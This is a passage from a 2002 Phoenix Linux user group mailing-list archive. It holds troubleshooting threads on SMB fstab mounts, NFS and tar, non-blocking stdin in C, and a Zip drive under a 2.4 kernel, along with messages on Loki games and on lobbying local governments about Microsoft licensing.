Fri, 7 Jun 2002 01:45:15 -0700 Subject: iomega parallel zip drive Message-ID: <20020607014515.6bd7d7ab.snoogans@qwest.net> Ok i had this working fine under my 2.2 distrobution kernel(debian) with modprobe ppa. i Decided to compile a 2.4 kernel and i an trying to get it to work correctly. Right now i have scsi support enabled, scsi disk support enabled, the ppa module compiled in as a module, and parallel printing enabled as a module(as per the zip drive mini-hwoto). When i modprobe ppa it says that /dev/sda4 is not a valid block device. I have kernel compiled about 6 times tonight and i would really like next time to be last time, at least for tonight :) andone know what might be wrong? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 20:56:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: Fri, 7 Jun 2002 13:56:19 -0700 (MST) Subject: test please ignore Message-ID: <20020607205619.87474297F5@napita.snaptek.com> test From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 7 Jun 2002 14:02:26 -0700 (PDT) Subject: Mike? Message-ID: Sorry for the mail to everyone, but there was a guy that picked up 5 of my computers and wanted to know the motherboard make/model. I believe it's a PM9000 from Amptron: http://amptron.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 7 Jun 2002 14:47:48 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: <02060714474805.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Want me to send it out to linuxtoday, slashdot, and newsforge or do you want to do that? On Thursday 06 June 2002 12:46, you wrote: > The press release has been faxed and emailed. Only one I didn't contact is > the Computer buyer Magazine and the Computer Corner s > Show on KTAR. It was suggested that this is best done during the show on > Saturday 10-11:45am. > > If you will be around to answer the phone, Bill, here is the link to submit > the info. > > http://www.datadoctors.com/corner/radio_question.cfm > > Dennis Kibbe > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQEqBSsk3ywszI1FEQK+2gCfed0cP7KyuOPPmN3d+B2yzAjUWwcAoNTv RWNNwlmeb9pyJP1qZNdtJu+D =oszl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 22:27:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 7 Jun 2002 15:27:54 -0700 Subject: fstab help Message-ID: Does it work if you mount the share 'by hand' (mount -t smbfs -o username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" option in your fstab. Is that a typo? I believe that should be "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive on Mutt a hidden share? If so, try putting a $ after the remote filesystem column in the fstab (//mutt/d$). Does smbclient -L mutt -U show that Mutt has that share available? ~Jeff On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > I'm trying to connect to a shared drive on an NT server named > mutt on my > internal network from my RH7.3 box. I have the following > line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh > special device > //mutt/d does not exist. I know the two can see eachother as > I can print to > the printer that is on mutt. > > Any help will be much appreciated. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:19:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:19:42 -0500 (CDT) Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: Message-ID: If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:23:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:23:37 -0500 (CDT) Subject: Request For Information: Microsoft Enterprise Agreement (fwd) Message-ID: FWIW here is town of Gilbert's response, this was returned in less than 5 minutes. I strongly urge anyone in Gilbert send similar requests and get the council's ears perked. -Derek ---------- Forwarded message ---------- Date: Fri, 7 Jun 2002 16:07:39 -0700 From: George Pettit To: "'derek@gnue.org'" Cc: Shawn Woolley Subject: RE: Request For Information: Microsoft Enterprise Agreement Dear Mr. Neighbors: I have forwarded your request regarding the Enterprise Agreement to Shawn Woolley our Technology Services Director. If the Agreement is signed, it is a public record, and therefore available to you. The budget will be heard at a public hearing on June 25, 2002 at 6:30 pm in the Council Chambers, 1025 S Gilbert Road as part of the Agenda that evening George Pettit Manager -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:02 PM To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us; dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.us Subject: Request For Information: Microsoft Enterprise Agreement As a town of Gilbert citizen, taxpayer and technologist, I would like to gather more information about the technology of Gilbert. As is a suprise to no one the convicted monopolist from Redmond, Microsoft, has laid an edict that all Enterprise customers either sign long term agreements to renew software licenses or suffer undue penalties. I am under the assumption that the current operating system platform of choice for Gilbert is from Microsoft. I would like to know whether a provision has been made in the upcoming years fiscal budget to subsidize the procurement of such an 'Enterprise Agreement'. If so can I have the details as to what is included in the license (preferably a copy of the agreement) and the cost. Also, can you tell me the date that the budget will be adopted and when citizens can speak on it? Thank you, Derek Neighbors From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 00:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 07 Jun 2002 18:20:39 -0600 Subject: fstab help In-Reply-To: <200206062342.26108.lists@chevy-lemonade.com> References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <1023495639.351.6.camel@dhcp159.area31.viawest.net> The one thing I have always had to do is manually add an entry in the /etc/hosts file for the computer I wished to connect to. Some versions of smbmount don't like an IP address etc. -dallas On Fri, 2002-06-07 at 00:42, Tom Achtenberg wrote: > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > //mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 01:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 7 Jun 2002 18:48:02 -0700 Subject: The word is out! In-Reply-To: <02060714474805.08309@nova.wedge.org> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> <02060714474805.08309@nova.wedge.org> Message-ID: <1023500882.3d0162525cbac@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Want me to send it out to linuxtoday, slashdot, and newsforge or do you want > > to do that? > be my guest. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 07:11:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 08 Jun 2002 00:11:56 -0700 Subject: NFS and tar Message-ID: <1023520322.3093.20.camel@tomahawk.lww.com> I am having some problems with my NFS setup that really got me scratching my head. I am guessing that it must be something with tar (across and NFS mount?) but I am not sure. First off, here are the basics: Linux Mandrake 8.2 on two systems (zippo and tomahawk) NFS server on zippo NFS mount on tomahawk fstab: zippo:/share/tomahawk_backup /u001/backup2zippo nfs bg,user 0 0 tomahawk: /u001/backup2zippo permissions/owner 777 root:root zippo: /share/tomahawk_backup permissions/owner 777 root:root (I know this is a big security hole that I plan to fix after I figure out what is going on) I can create a file on tomahawk and zippo as a user and as root I can successfully create a tar (on zippo) tar zcvf test.tgz /testdir/* tar is created however I get the following error: tar: Error exit delayed from previous errors I attempted to create a tar (on tomahawk) [user@tomahawk backup2zippo]# tar zcvf test.tgz /etc/* tar: Removing leading `/' from member names etc/adjtime etc/aliases etc/aliases.db tar (child): test.tgz: Cannot open: Operation not permitted tar (child): Error is not recoverable: exiting now etc/alternatives/ etc/alternatives/lib_cpp etc/alternatives/vi etc/alternatives/vim etc/alternatives/cpp etc/alternatives/ssh-askpass etc/alternatives/xinetd etc/alternatives/xvt Broken pipe Thanks for any insight someone can offer. Steve Phariss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 11:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 04:54:19 -0700 Subject: peeking into stdin (programing question) Message-ID: <3D01F06B.29EEE225@leml.asu.edu> sorry for the simple programing question. I've done this before and spaced how. I need to check if there is input in the standard input in both C and C++. If there is then processit, otherwise keep on going. can someone hit me with a clue stick? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 16:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: Fri, 7 Jun 2002 10:42:49 -0600 Subject: fstab help References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <003401c20e42$7193b090$2a4457d8@w2k> Try taking the "file:" out, and make sure there is an entry in /etc/hosts for "mutt". Other than that, it looks fine. -dallas ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 07, 2002 12:42 AM Subject: fstab help > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > file://mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > file://mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 17:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 8 Jun 2002 13:16:00 EDT Subject: peeking into stdin (programing question) Message-ID: <40.1ee18115.2a3395d0@aol.com> Not sure but try kbhit() returns true if something is waiting. if(kbhit()) { c=getch(); ... } From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 18:28:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 11:28:50 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D01F06B.29EEE225@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Use select or poll (I prefer poll personally, but they both work) --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > > sorry for the simple programing question. I've done this before and > spaced how. > > I need to check if there is input in the standard input in both C and > C++. If there is then processit, otherwise keep on going. > > can someone hit me with a clue stick? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Akzmv+hjYTGg7s4RAv1+AJ9ymD3CrDWON5WAgpPPieslfx4FTgCdHjvZ RnHDH/SKYxA72uXrVoj7Dvo= =B2GQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:10:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 16:10:04 -0700 Subject: fstab help In-Reply-To: References: Message-ID: <200206081610.07182.lists@chevy-lemonade.com> //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 These are the two lines from fstab In both cases I get the error "Could not resolve mount point /mnt/mutt_c" (or d). smbclient does indeed show the shares as C$ Disk Default share D$ Disk Default share On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > Does it work if you mount the share 'by hand' (mount -t smbfs -o > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > option in your fstab. Is that a typo? I believe that should be > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > that Mutt has that share available? > > ~Jeff > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > I'm trying to connect to a shared drive on an NT server named > > mutt on my > > internal network from my RH7.3 box. I have the following > > line in etc/fstab > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > When I try to mount the drive I get an error that says teh > > special device > > //mutt/d does not exist. I know the two can see eachother as > > I can print to > > the printer that is on mutt. > > > > Any help will be much appreciated. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 08 Jun 2002 16:21:13 -0700 Subject: fstab help References: <200206081610.07182.lists@chevy-lemonade.com> Message-ID: <3D029169.526EDFE0@qwest.net> do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them to be used as mount points. Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 > //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 > > These are the two lines from fstab In both cases I get the error "Could not > resolve mount point /mnt/mutt_c" (or d). > > smbclient does indeed show the shares as > > C$ Disk Default share > D$ Disk Default share > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > option in your fstab. Is that a typo? I believe that should be > > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > > that Mutt has that share available? > > > > ~Jeff > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > I'm trying to connect to a shared drive on an NT server named > > > mutt on my > > > internal network from my RH7.3 box. I have the following > > > line in etc/fstab > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > When I try to mount the drive I get an error that says teh > > > special device > > > //mutt/d does not exist. I know the two can see eachother as > > > I can print to > > > the printer that is on mutt. > > > > > > Any help will be much appreciated. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Don't trust the "Bow Tie" > Chevrolet, the HEARTBREAK of America > visit http://www.chevy-lemonade.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 00:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 17:10:09 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D029CE1.C77FE110@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Use select or poll (I prefer poll personally, but they both work) ok... this works except I cannot see or read the character until I type a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? I tried modifying the file descriptor with: if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and tried it without delay */ return 1; and reopending stdin with: in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); but I'm still unable to get info back until I type a RETURN. EBo -- > > sorry for the simple programing question. I've done this before and > > spaced how. > > > > I need to check if there is input in the standard input in both C and > > C++. If there is then processit, otherwise keep on going. > > > > can someone hit me with a clue stick? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 18:01:35 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D029CE1.C77FE110@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 see termios(3) for setting it to raw mode; specifically the function cfmakeraw (same man page) is what you're looking for. --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > Nick Estes wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Use select or poll (I prefer poll personally, but they both work) > > ok... this works except I cannot see or read the character until I type > a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? > > I tried modifying the file descriptor with: > > if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and > tried it without delay */ > return 1; > > and reopending stdin with: > > in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); > > but I'm still unable to get info back until I type a RETURN. > > EBo -- > > > > > sorry for the simple programing question. I've done this before and > > > spaced how. > > > > > > I need to check if there is input in the standard input in both C and > > > C++. If there is then processit, otherwise keep on going. > > > > > > can someone hit me with a clue stick? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Aqjyv+hjYTGg7s4RAg5GAJ9ifU8duRikeDpGTP1hiksRs9575gCeODZv FYV4QbFCpBN9DxyeJypg9Mo= =EO6O -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:23:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 18:23:01 -0700 Subject: peeking into stdin (programing question) References: <40.1ee18115.2a3395d0@aol.com> Message-ID: <3D02ADF5.6D54E356@leml.asu.edu> Elburn@aol.com wrote: > > Not sure but try kbhit() returns true if something is waiting. > > if(kbhit()) > { > c=getch(); > ... > } I looked around and all I could find for kbit was a reference to it being expected as a define in Borland Builder. From this I'm guessing that it is a Win*'ism. ncurses cbreak() is close to what I'm looking for, but it mucked with the IO and I wanted to avoint that... I was able to get ncurses to work though. To compare timing diferences I'm going to try the cfmakeraw now...  EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 02:01:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 19:01:51 -0700 Subject: fstab help In-Reply-To: <3D029169.526EDFE0@qwest.net> References: <200206081610.07182.lists@chevy-lemonade.com> <3D029169.526EDFE0@qwest.net> Message-ID: <200206081901.53241.lists@chevy-lemonade.com> Thanks, that seems to have done the trick. Does anyone out there know the fstab line to connect to an i-bay on an e-smith server? The i-bay is named chow. On Saturday 08 June 2002 04:21 pm, Kevin Brown wrote: > do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them > to be used as mount points. > > Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar > > 0 //mutt/D$ /mnt/mutt_d smbfs > > auto,guid=,uid=,username=foo,password=bar 0 > > > > These are the two lines from fstab In both cases I get the error "Could > > not resolve mount point /mnt/mutt_c" (or d). > > > > smbclient does indeed show the shares as > > > > C$ Disk Default share > > D$ Disk Default share > > > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > > option in your fstab. Is that a typo? I believe that should be > > > "username." Do you have the smbfs module compiled (lsmod | grep > > > smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the > > > D:\ drive on Mutt a hidden share? If so, try putting a $ after the > > > remote filesystem column in the fstab (//mutt/d$). Does smbclient -L > > > mutt -U show that Mutt has that share available? > > > > > > ~Jeff > > > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > > I'm trying to connect to a shared drive on an NT server named > > > > mutt on my > > > > internal network from my RH7.3 box. I have the following > > > > line in etc/fstab > > > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > > > When I try to mount the drive I get an error that says teh > > > > special device > > > > //mutt/d does not exist. I know the two can see eachother as > > > > I can print to > > > > the printer that is on mutt. > > > > > > > > Any help will be much appreciated. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > Don't trust the "Bow Tie" > > Chevrolet, the HEARTBREAK of America > > visit http://www.chevy-lemonade.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 03:13:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 20:13:49 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D02C7ED.4D6E8FA3@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > see termios(3) for setting it to raw mode; specifically the function > cfmakeraw (same man page) is what you're looking for. cool, thanks! got it mostly to work... I think the last bit I need to do is getting CR's to output (NL's work fine, but have been unable to get CR's or NL's converted to CR's). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:07:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 8 Jun 2002 22:07:41 -0700 Subject: Loki Games Message-ID: <200206082207.45860.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It's a little late now, but has anyone seen any loki games anywhere? I bought a few of them, but I want a couple others that are out there. Like The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone seen the games anywhere? Online or physical locations are great. I just really want the games!! nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9AuKhQ7yNnsYcupwRAtCuAJ0ZWLsImNBztqVS9rrljMHtpZjguwCfW24l NyyCrGraOLHggHa3cAbVXKo= =f05I -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:11:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 8 Jun 2002 22:11:39 -0700 Subject: Loki Games In-Reply-To: <200206082207.45860.plug@the-arcanum.org> References: <200206082207.45860.plug@the-arcanum.org> Message-ID: <200206082211.43916.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 08 June 2002 22:07, Nathan England wrote: > It's a little late now, but has anyone seen any loki games anywhere? > I bought a few of them, but I want a couple others that are out there. Like > The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone > seen the games anywhere? tuxgames.com has Railroad Tycoon II and Kohan in stock. The Sims was some Windows emulation thing. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9AuOOpNoctRtUIRQRAoVHAKCDOaCS0iAp+SNdJvCTN/XAgitTEACeM+FD KTwqOVEX/XJ5j1xWmyU+S/k= =V46E -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 06:43:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 23:43:27 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D02C7ED.4D6E8FA3@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > cool, thanks! got it mostly to work... I think the last bit I need to > do is getting CR's to output (NL's work fine, but have been unable to > get CR's or NL's converted to CR's). Poke around in the termios manpage a little more, there's settings for how you want CRs and LFs to work as well, might have what you're looking for. --Nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9AvkTv+hjYTGg7s4RAht5AJ9d4uBVJPwae7V8vJ2UFuUj9UTCbgCfY3VO r+nJLlZQ55KcP1YiuuNlNG8= =yMd/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 09 Jun 2002 10:43:40 -0700 Subject: Problems booting into level 5 on MD8.2 Message-ID: <3D0393CC.80006@qwest.net> I have found a serious problem (with Mandrake?). I use LILO to dual boot into a win98 and MD8.2 OSs. Twice now I've had work going for a couple of days on the Win98 OS and have done a normal power shutdown WITH a data cd in my bootable CD drive (forgot). When I try to power on and launch Linux without taking this CD out first, I'm getting an error in booting where some of my /var/temp files are lost. My current status after the second time this has happened (the first time I just reloaded the MD8.2 OS and apps, but saved my /home directory data), I can boot successfully into level 3 (my default is level 5/KDE for myself as user). But when I try to "startx" I get an error/failure message that the "default Font" is not found. I checked the KFree86.0.log, as the screen message suggested and found that the file /var/tmp/server-0.xkm "could not be found. ?? I did a hard shutdown and re-launched MD8.2, and it went thru a file system auto-check, found the obvious (from a hard shutdown)problems in the MDL boot sector (fixed them) and no other errors. It still defaulted to level 3 start-up and I could still not "start". I did a normal 